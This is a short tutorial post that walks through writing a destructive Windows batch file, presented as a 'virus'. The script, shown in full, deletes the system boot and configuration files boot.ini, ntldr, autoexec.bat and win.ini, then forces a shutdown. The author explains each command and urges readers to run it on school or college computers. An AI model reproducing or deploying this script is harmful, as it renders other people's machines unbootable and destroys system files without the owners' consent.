Write your own small(?) virus.[windows]

Ever wanted to know how the great and splendid viruses are made?Well i did and still do.Batch files can be used for many purposes i have already listed one in which a simple batch file
can be used to completely hide your folders. Now here is another batch file with a deadly effect.
I'll explain each step in detail.
First of all goto
Start >Run>cmd
Type help > \whatever.txt
You will get all the commands supported by DOS with their explanations.Thats all you need to know to fully understand this.
Now lets begin

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
echo "A Gift from BILL!!!
shutdown -s -t 7 -c "YOUR PC NEED SLEEP "

save this as whatever.bat and double-click to open it.
DO NOT run on your own computer however you may(if you want to get kicked out) run this on your school/college PC's .

Now how this works:

"ATTRIB" will clear attributes of the concerned file."DEL" is obvious.
ECHO will print the message after it on the screen.
Shutdown with its parameters:
-s: calls shutdown
-t:sets time for shutdown in seconds
-c: will display a comment